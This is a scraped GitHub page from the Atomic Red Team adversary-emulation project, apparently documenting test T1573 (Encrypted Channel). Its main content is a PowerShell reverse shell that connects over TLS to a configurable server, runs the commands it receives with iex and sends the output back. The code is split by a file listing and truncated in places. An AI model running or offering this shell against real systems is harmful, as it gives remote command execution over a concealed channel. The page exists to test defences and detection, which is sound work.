Product Solutions Resources Open Source Enterprise Pricing Sign in Sign up

redcanaryco / atomic-red-team Public

Notifications Fork 2.8k Star 9.7k

Code Issues 6 Pull requests 5 Actions Wiki Security Insights

atomic-red-team / atomics / T1573 / T1573.md

CircleCI Atomic Red Team doc... Generate docs from job=genera... 65684bf · 2 years ago History

T1573 - Encrypted Channel

Description from ATT&CK

> Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.

atomic-red-team / atomics / T1573 / T1573.md Top

Preview Code Blame 63 lines (39 loc) · 2.29 KB Raw

Atomic Test #1 - OpenSSL C2

Thanks to @OrOneEqualsOne for this quick C2 method. This is to test to see if a C2 session can be established using an SSL socket. More information about this technique, including how to set up the listener, can be found here: https://medium.com/walmartlabs/openssl-server-reverse-shell-from-windows-client-aee2dbfa0926

Upon successful execution, powershell will make a network connection to 127.0.0.1 over 443.

Supported Platforms: Windows

auto_generated_guid: 21caf58e-87ad-440c-a6b8-3ac259964003

Inputs:

Name	Description	Type	Default Value
server_ip	IP of the external server	String	127.0.0.1
server_port	The port to connect to on the external server	String	443

Attack Commands: Run with `powershell`!

```
$server_ip = #{server_ip}
$server_port = #{server_port}
$socket = New-Object Net.Sockets.TcpClient('#{server_ip}', '#{server_por
$stream = $socket.GetStream()
$sslStream = New-Object System.Net.Security.SslStream($stream,$false,({$
$sslStream.AuthenticateAsClient('fakedomain.example', $null, "Tls12", $f
$writer = new-object System.IO.StreamWriter($sslStream)
```

Files

f339e7d

Go to file

- .github
- atomic_red_team
- atomics
  - Indexes
  - T1003.001
  - T1003.002
  - T1003.003
  - T1003.004
  - T1003.005
  - T1003.006
  - T1003.007
  - T1003.008
  - T1003
  - T1006
  - T1007
  - T1010
  - T1012
  - T1014
  - T1016
  - T1018
  - T1020
  - T1021.001

- T1021.002
- T1021.003
- T1021.006
- T1027.001
- T1027.002
- T1027.004
- T1027
- T1030
- T1033
- T1036.003
- T1036.004
- T1036.005
- T1036.006
- T1036
- T1037.001
- T1037.002
- T1037.004
- T1037.005
- T1039
- T1040

```
$writer.Write('PS ' + (pwd).Path + '> ')
$writer.flush()
[byte[]]$bytes = 0..65535|%{0};
while(($i = $sslStream.Read($bytes, 0, $bytes.Length)) -ne 0)
{$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($byt
$sendback = (iex $data | Out-String ) 2>&1;
$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';
$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);
$sslStream.Write($sendbyte,0,$sendbyte.Length);$sslStream.Flush()}
```